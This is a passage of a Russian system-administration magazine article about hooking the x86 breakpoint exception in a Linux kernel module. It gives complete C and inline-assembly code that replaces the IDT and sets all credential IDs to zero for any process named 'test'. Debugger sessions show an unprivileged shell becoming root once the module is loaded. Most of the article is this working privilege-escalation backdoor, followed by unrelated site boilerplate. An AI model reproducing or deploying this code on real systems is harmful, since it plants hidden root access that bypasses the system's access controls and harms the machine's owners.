Для того, чтобы процесс вызвал исключение #BP, его необходимо запустить в
отладчике и установить где-нибудь точку останова. Как только эта точка будет достигнута,
будет сгенерировано исключение #BP и управление получит новый обработчик.

Рассмотрим реализацию модуля ядра, выполняющего перехват #BP ((c) kadamyse@altern.org).

/* Файл task1.c */
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/init.h>
#include <linux/types.h>

// Прототип нового обработчика исключения #BP
extern void my_stub();

__u32 idt_addr = 0; // адрес таблицы IDT
__u32 old_handler = 0; // адрес старого обработчика исключения #BP
__u32 new_handler = 0; // адрес функции, которая будет вызвана перед обработчиком
// исключения #BP.

Формат дескриптора IDT определяет следующая структура:

typedef struct {
__u16 off_low;
__u16 sel;
__u8 none, flags;
__u16 off_high;
} __attribute__ ((packed)) idt_t;

Два поля этой структуры, off_low и off_high, содержат адрес обработчика
исключения.

В поле off_low находятся младшие 16 бит, а в поле off_high - старшие 16 бит
адреса обработчика.

Определим указатель на новую таблицу IDT:

idt_t *idt;

Формат регистра таблицы дескрипторов прерываний (IDTR, Interrupt Descriptor
Table Register):

struct {
__u16 limit; // размер таблицы IDT
__u32 base; // базовый адрес таблицы IDT
} __attribute__ ((packed)) idtr;


Адрес таблицы IDT определяет следующая функция:

__u32 get_idt_addr()
{
asm ("sidt %0":"=m" (idtr));
return(idtr.base);
}

Функция get_idt_addr() считывает содержимое регистра IDTR в структуру idtr при
помощи инструкции SIDT. В результате в поле base этой структуры будет находиться
искомый базовый адрес IDT.

После того, как найден базовый адрес IDT, создаем новую таблицу
дескрипторов прерываний, а затем в ней производим подмену адреса исключения #BP:

-------------------------------
void set_new_idt()
{
unsigned long flags;

/* Выделяем память для новой таблицы IDT и копируем в нее
* содержимое старой таблицы:
*/
idt = (idt_t *)kmalloc(255 * sizeof(idt_t), GFP_KERNEL);
memcpy((void *)idt, (void *)idt_addr, 255 * sizeof(idt_t));

/* В поле base структуры idtr заносим новое значение
* базового адреса таблицы и загружаем его в регистр IDTR
* инструкцией LIDT.
*/
idtr.base = (__u32)idt;

__save_flags(flags); __cli();
__asm__("lidt %0"::"m" (idtr));
__restore_flags(flags);

return;
}
-------------------------------

Подмену адресов в таблице IDT выполняет функция set_handler():

void set_handler(int i, __u32 new_addr)
{
idt[i].off_high = (__u16)(new_addr >> 16);
idt[i].off_low = (__u16)(new_addr & 0x0000FFFF);
}

Параметры этой функции:
int i - номер дескриптора, в котором нужно изменить адрес обработчика
__u32 new_addr - адрес нового обработчика

Перед заменой адресов сохраняем адрес "родного" обработчика. Считываем
этот адрес из таблицы IDT:

__u32 get_handler(int i)
{
return((idt[i].off_high << 0x10) | idt[i].off_low);
}


Следующая функция выполняет непосредственно то, ради чего все затевалось -
назначает права root процессу test. Эта функция должна быть вызвана перед
обработчиком исключения #BP, для проверки имени текущего процесса:

-------------------------------
asmlinkage void my_handler()
{
if(strcmp(current->comm, "test") == 0) {

current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
current->suid = 0;
current->sgid = 0;
current->fsuid = 0;
current->fsgid = 0;

printk(KERN_INFO "%s - EXCEPTION #BP occured!n", current->comm);
}

return;
}
-------------------------------

При совпадении имен текущего процесса и шаблона функция назначает процессу
привилегии root.

Осталось рассмотреть, чем мы заменим стандартный обработчик исключения #BP.
Следующая функция содержит в себе определение вызова нового обработчика
исключения #BP - my_stub():

void stub()
{
__asm__ __volatile__ (
".globl my_stub n"
"my_stub: n" // новый обработчик
" call *%0 n"
" jmp *%1 "
::"m"(new_handler),"m"(old_handler));
}

Сначала команда call вызвает функцию my_handler, адрес которой находится в
переменной new_handler, а после возврата из этой функции команда jmp передает
управление по адресу старого обработчика #BP, который сохранен в переменной
old_handler.

Все функции, которые мы рассмотрели, будут вызваны во время загрузки модуля
ядра:

-------------------------------
int init_module()
{
int i = 3; // номер исключения - Breakpoint (#BP)
__u32 new_addr; // адрес нового обработчика исключения #BP

/* Считываем адрес таблицы IDT */
idt_addr = get_idt_addr();
if(idt_addr < PAGE_OFFSET) return 0;

/* PAGE_OFFSET - нижняя граница адресного пространства ядра, 0xC0000000.
* Ниже этого значения опускаться нельзя
*/

printk(KERN_INFO "Old IDT address - 0x%08xn",(__u32)(idt_addr));

/* Формируем новую таблицу IDT */
set_new_idt();
printk(KERN_INFO "New IDT address - 0x%08xn",(__u32)(idtr.base));

new_handler = (__u32)&my_handler; // адрес ф-ии my_handler

/* Сохраняем адрес старого обработчика #BP, определяем адрес
* нового и производим замену адресов в новой таблице IDT
*/
old_handler = get_handler(i);
if(old_handler < PAGE_OFFSET) return 0;
printk(KERN_INFO "Old handler - 0x%08xn",old_handler);
new_addr = (__u32)&my_stub;
set_handler(i, new_addr);
printk(KERN_INFO "New address - 0x%08xn",new_addr);

return 0;
}
-------------------------------


Во время выгрузки модуля необходимо восстановить старую таблицу IDT. Ее адрес
сохранен в переменной idt_addr. Адрес обработчика #BP восстанавливать не надо,
так как в старой таблице он остался без изменений.

-------------------------------
void cleanup_module()
{
unsigned long flags;

/* Заносим адрес таблицы IDT в поле base структуры idtr
* а затем командой LIDT загружаем его в регистр IDTR
*/
idtr.base = (__u32)idt_addr;
__save_flags(flags);
__cli();
__asm__("lidt %0"::"m" (idtr));
__restore_flags(flags);

/* Освобождаем память, занятую новой таблицей IDT */
kfree(idt);
printk(KERN_INFO "Old IDT address restore (0x%08x)n",(__u32)(idtr.base));
return;
}
-------------------------------


Процесс, статус которого мы хотим повысить, выглядит следующим образом:

-------------------------------
/* Файл test.c */
int main()
{
system("/bin/bash");
return 0;
}
-------------------------------

Запускаем процесс в отладчике:

play@darkstar:~$ gdb -q ./test
(gdb)

Устанавливаем точку останова на функцию main():

(gdb) break main
Breakpoint 1 at 0x804832e
(gdb)

Запускаем процесс на выполнение:

(gdb) run
Starting program: /home/play/test

Breakpoint 1, 0x0804832e in main()
(gdb)

Дошли до точки останова #1. Продолжим выполнение процесса:

(gdb) cont
Continuing.
bash-2.05b$

Запущен новый shell. Проверяем, с какими правами:

bash-2.05b$ id
uid=1000(play) gid=100(users) groups=100(users)
bash-2.05b$

В итоге мы получили в свое распоряжение еще один shell с правами play.
Интересного в этом мало. Другое дело, если запустить shell с правами root.

Завершим работу отладчика:

bash-2.05b$ exit
exit

Program exited normally
(gdb) quit
play@darkstar:~$

Теперь загрузим модуль командой insmod и опять запустим процесс в отладчике:

play@darkstar:~$ gdb -q ./test
(gdb) break main
Breakpoint 1 at 0x804832e
(gdb) run
Starting program: /home/play/test

Breakpoint 1, 0x0804832e in main()
(gdb) cont
Continuing.
bash-2.05b#

Смотрим, какими правами обладает новый shell:

bash-2.05b# id
uid=0(root) gid=0(root) groups=100(users)
bash-2.05b#

На этот раз все получилось так, как мы и предполагали - модуль перехватил
исключение #BP, которое возникло в момент остановки выполнения процесса на
функции main, проверил имя процесса и установил его идентификаторы в 0, повысив,
тем самым, уровень привилегий процесса до root. После этого управление было
передано "родному" обработчику исключения #BP и процесс продолжил свое
выполнение, но уже с другими правами, которые и унаследовал новый shell.

-----------------------------------------------------------------------------
(1) Исключения (exception) - это внутренние прерывания процессора,
сигнализирующие ему о том, что произошла исключительная ситуация, требующая
немедленного вмешательства. Яркий пример исключения - ошибка деления на 0,
Divide Error, мнемоническое обозначение #DE.
Подробная информация об исключениях и полный их перечень приведен в IA-32 Intel
Architecture Software Developer's Manual, Volume 3: System Programming Guide,
Chapter 5 "Interrupt and Exception Handling" (http://www.intel.com).



Cтатья была опубликована в журнале "Системный администратор", 6/2004 г.,
http://www.samag.ru
613 Прочтений •  [Процессы в Linux (linux proccess ipc kernel proc)] [08.05.2012] [Комментариев: 0]
Добавил: Ukraine Vova
Ссылки
HTML: 
[BB Url]: 
Похожие статьи
Название Добавил Добавлено
• Процессы в Linux (linux proccess ip... Ukraine Vova 08.05.2012
Ни одного комментария? Будешь первым :).
Пожалуйста, авторизуйтесь для добавления комментария.

Проект входит в сеть сайтов «8Gamers Network»

Все права сохранены. 8Gamers.NET © 2011 - 2025

Статьи
Рецензия на Pressure
Рецензия на Pressure
Чтобы обратить на себя внимание, начинающие маленькие разработчики, как правило, уходят в жанры, ...
Рецензия на Lost Chronicles of Zerzura
Рецензия на Lost Chron...
Игры, сделанные без любви и старания, похожи на воздушный шар – оболочка есть, а внутри пусто. Lo...
Рецензия на The Bridge
Рецензия на The Bridge
«Верх» и «низ» в The Bridge — понятия относительные. Прогуливаясь под аркой, можно запросто перей...
Рецензия на SimCity
Рецензия на SimCity
Когда месяц назад состоялся релиз SimCity, по Сети прокатилось цунами народного гнева – глупые ош...
Рецензия на Strategy & Tactics: World War 2
Рецензия на Strategy &...
Название Strategy & Tactics: World War II вряд ли кому-то знакомо. Зато одного взгляда на ее скри...
Рецензия на игру Scribblenauts Unlimited
Рецензия на игру Scrib...
По сложившейся традиции в информационной карточке игры мы приводим в пример несколько похожих игр...
Рецензия на игру Walking Dead: Survival Instinct, The
Рецензия на игру Walki...
Зомби и продукция-по-лицензии — которые и сами по себе не лучшие представители игровой биосферы —...
Обратная связь | RSS | Донейт | Статистика | Команда | Техническая поддержка